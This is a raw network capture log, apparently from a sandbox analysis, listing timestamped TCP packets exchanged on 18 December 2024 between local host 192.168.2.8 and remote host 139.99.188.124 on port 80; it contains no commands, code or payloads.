                                                        Dec 18, 2024 09:31:27.773056030 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.773144960 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.773200989 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.774034023 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.774101973 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.774247885 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.774947882 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.775063038 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.775232077 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.775939941 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.776180029 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.776266098 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.776973963 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.777183056 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.777266026 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.777884007 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.778001070 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.778064013 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.778832912 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.778951883 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.779030085 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.779788971 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.780025005 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.780100107 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.780766010 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.780875921 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.780935049 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.781804085 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.781871080 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.781924009 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.782716036 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.782825947 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.782882929 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.783667088 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.783778906 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.783869982 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.784626961 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.784742117 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.784904003 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.785643101 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.785798073 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.785849094 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.786580086 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.786691904 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.786817074 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.787569046 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.787771940 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.787878990 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.788511992 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.788613081 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.788659096 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.789486885 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.789515972 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.789575100 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.790441990 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.790548086 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.790606022 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.791461945 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.791596889 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.791678905 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.792340994 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.792464018 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.792519093 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.793330908 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.793442965 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.793562889 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.794382095 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.794533014 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.794661045 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.795288086 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.795408010 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.795495987 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.796248913 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.796355963 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.796406984 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.797219992 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.797329903 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.797380924 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.798187971 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.798300982 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.798379898 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.799149036 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.799246073 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.799302101 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.800112963 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.800234079 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.800373077 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.801070929 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.801177979 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.801274061 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.802098989 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.802154064 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.802197933 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.803023100 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.803291082 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.803340912 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.804145098 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.804270029 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.804358006 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.805140972 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.805186033 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.805263042 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.805907011 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.806070089 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.806133986 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.806849957 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.860872984 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.940079927 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.940222979 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.940318108 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.940515041 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.940675974 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.940746069 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.941507101 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.941627979 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.941792011 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.942446947 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.942574978 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.942692995 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.943500042 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.943620920 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.943717003 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.944399118 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.944508076 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.944624901 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.945621967 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.945770979 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.945856094 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.946352959 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.946729898 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.946846008 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.947325945 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.947403908 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.947479963 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.948301077 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.948409081 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.948470116 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.957103014 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.957205057 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.957323074 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.957380056 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.957403898 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.957479000 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.958297968 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.958421946 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.958491087 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.959256887 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.959523916 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.959568977 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.960269928 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.960397005 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.960481882 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.961208105 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.961327076 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.961416960 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.962229967 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.962536097 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.962634087 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.963226080 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.963267088 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.963335037 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.964095116 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.964224100 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.964272976 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.965065956 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.965213060 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.965276003 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.966080904 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.966176987 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.966283083 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.967101097 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.967267036 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.967348099 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.968007088 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.968091965 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.968161106 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.968936920 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.969099045 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.969166040 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.969906092 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.970062017 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.970211983 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.970874071 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.970968962 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.971016884 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.971983910 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.972121954 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.972193003 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.972789049 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.972893000 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.972935915 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.973783016 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.973851919 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.973896980 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.974713087 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.974834919 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.975121975 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.975725889 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.975821972 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.975910902 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.976664066 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.976768970 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.976841927 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.977633953 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.977794886 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.977875948 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.978590965 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.978698015 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.978790998 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.979574919 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.979693890 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.979859114 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.980549097 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.980669022 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.980714083 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.981545925 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.981735945 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.981792927 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.982666969 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.982871056 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.982919931 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.983511925 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.983732939 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.983803034 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.984386921 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.984468937 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.984519005 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.985377073 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.985537052 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.985588074 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.986866951 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.987132072 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.987229109 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.989279985 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.989408970 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.989475012 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.989845991 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.990087986 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.990128040 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.992089987 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.992378950 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.992532015 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.993383884 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.993459940 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.993536949 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.993998051 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.994060040 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.994101048 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.994589090 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.994645119 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.994692087 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.995220900 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.995266914 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.995357990 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.995821953 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.995835066 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.995919943 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.996380091 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.996486902 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.996565104 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.996987104 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.997194052 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.997299910 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.997803926 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.997870922 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:27.997925043 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:27.998485088 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.048409939 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.131899118 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.132088900 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.132282019 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.132456064 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.132580042 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.132644892 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.133369923 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.133423090 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.133536100 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.133999109 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.134145975 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.134196043 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.134979010 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.135113955 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.135338068 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.135965109 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.136069059 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.136130095 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.136917114 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.136975050 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.137065887 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.137896061 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.137983084 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.138052940 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.138844967 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.139069080 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.139113903 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.139831066 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.139945984 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.140064001 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.148802042 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.148906946 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.149027109 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.149224043 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.149857044 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.149920940 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.150149107 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.150326014 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.150401115 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.151078939 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.151191950 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.151249886 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.152163029 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.152447939 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.152522087 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.153016090 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.153179884 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.153223991 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.153984070 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.154110909 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.154171944 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.154962063 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.155092001 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.155180931 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.155965090 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.156083107 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.156138897 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.156934977 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.157123089 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.157206059 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.157854080 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.157979965 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.158055067 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.158812046 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.158978939 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.159051895 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.159773111 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.159919977 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.160008907 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.160749912 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.160895109 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.161087990 CET4970680192.168.2.8139.99.188.124
